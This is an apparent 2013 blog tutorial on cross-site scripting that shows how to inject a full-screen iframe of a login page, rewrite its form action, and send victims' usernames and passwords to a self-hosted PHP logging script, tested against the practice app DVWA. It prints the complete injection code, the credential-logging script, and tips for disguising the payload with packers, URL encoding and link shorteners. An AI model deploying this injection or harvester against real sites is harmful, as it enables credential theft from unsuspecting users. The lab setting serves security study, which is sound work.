Real World XSS Attacks #2: Iframe Credential Harvesting

Posted on January 28, 2013 by Dave

Continuing on from my previous post where we took a look at the key JavaScript functions needed to perform more advanced XSS attacks, in this post we’ll be looking at how we can use injected iframes to harvest login credentials. We will do so by creating a full screen iframe of the site’s login page and then edit the action of the login form on the fly so that it points to a credential stealing PHP script we host ourselves. When confronted with the iframe login page, the user, thinking that they have been logged out or simply need to login to view the page, will enter their details and hit submit, which will close the iframe and return them to the original page, none the wiser; however, we will have logged their username and password (cue maniacal laugh).

 

By now, we should be getting pretty familiar with XSS principles as well as JavaScript, so I’m just going to skip straight to the code itself and start from there. We’ll be using Damn Vulnerable Web Application again (DVWA); refer to this earlier post for download and setup links.

 

The Injection

 

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function iframeEdit() {
var myIframe = document.getElementById("loginPageIframe");
var iframeDoc = myIframe.contentDocument || myIframe.contentWindow.document;  
var form = iframeDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/passwordsteal/pwsteal.php";
}
</script>
 
<body onload="iframeEdit()">
<iframe id="loginPageIframe" style="border: 0; position: fixed; top: 0; left: 0; right: 0; bottom: 0; width: 100%;
 height: 100%;" src="http://127.0.0.1/dvwa/login.php"></iframe>

Line 3: Here we use getElementById() to retrieve our iframe element which we create on line 10 and store it in the variable myIframe.
Line 4: Next, as the iframe we created is an external document object, i.e. not part of the host window of which we are injecting into, we need to use the contentDocument property as it will allow us to access the iframe document and assign it to a variable so that we can edit its contents from within the host window. We also have to use the or (||) operator and then supply contentWindow.document due to browser differences; contentDocument works on all browsers except for IE7 and below, for which we must use contentWindow.
Line 5: Now, as our iframe document has been assigned to the variable iframeDoc, we can start to access its elements. We want to change the form action of the login page to point to our credential harvesting PHP script, so that’s what we retrieve here, using getElementsByTagName().
Line 6: From my previous post, we know that getElementsByTagName() stores the retrieved elements in an array, so we need to make sure we access the correct form element. For the DVWA login page, the form we want to edit is the first (and only), so we access it as such and then change its action attribute to point to our credential harvesting PHP script. As a result, when the form is submitted, the login details will be posted to our script, as oppose to the DVWA application.

Line 9: Here we set up the event handler body onload which will call the iframeEdit() function immediately after the page loads.
Line 10: Finally, we create the iframe. We ensure it’s full screen by setting the style attributes appropriately.

 

The PHP Script

 

<?php
$password = $_POST["password"];
$username = $_POST["username"];
$log = fopen("log.txt", "a+");
fputs($log, "Username: $username\nPassword: $password\n");
fclose($log); 
?>

All the script does is capture the username and password posted from the login form iframe. Note that if you are using the script on another site, other than DVWA, you will need to change the $_POST parameters to the match the field names used in the login form. In the DVWA login page the form fields are labelled as username and password so that is what we use in the script. The PHP script then opens up a file called log.txt, which you will need to make beforehand (touch log.txt && chmod 666 log.txt), and appends any received credentials to it, before finally closing the file.  Be sure to update the JavaScript injection with the location and filename of the PHP script.
 

Reducing Size

 

In its current form, this is a rather large injection, which may look suspicious to a victim; therefore, we need to disguise it. We can do this in a number of ways, the best option being putting it into an external script file and calling it via our injection (discussed in my previous post). It’s worth noting that, as our injection contains HTML, we have to use the JavaScript document.write() method to ensure it’s injected as such. As document.write() takes input within quotes, we need to escape any quotes in our code using backslashes (\). Below is what the injection source should look like:

function iframeEdit() {
var myIframe = document.getElementById("loginPageIframe");
var iframeDoc = myIframe.contentDocument || myIframe.contentWindow.document;  
var form = iframeDoc.getElementsByTagName("form");
form[0].action = "http://192.168.101.11/blogs/XSS_advanced_2/pwsteal.php";
}
document.write("<body onload=\"iframeEdit()\">");
document.write("<iframe id=\"loginPageIframe\" style="border: 0; position: fixed; top: 0; left: 0; right: 0; bottom: 0; width: 100%; height: 100%;\" src=\"http://172.20.102.2/dvwa/login.php\"></iframe>");

Other valid options would be using an online JavaScript packer and then employ URL encoding or use a link shortening service (also discussed in my previous post) to further cloak our injection.
 

Putting Our Script Into Action!

 

Let’s give it a go then! Rather than post a series of screenshots, I instead made a short video (remember to go HD!):
 

 
As you can see, the injection works as intended!

Leave a Reply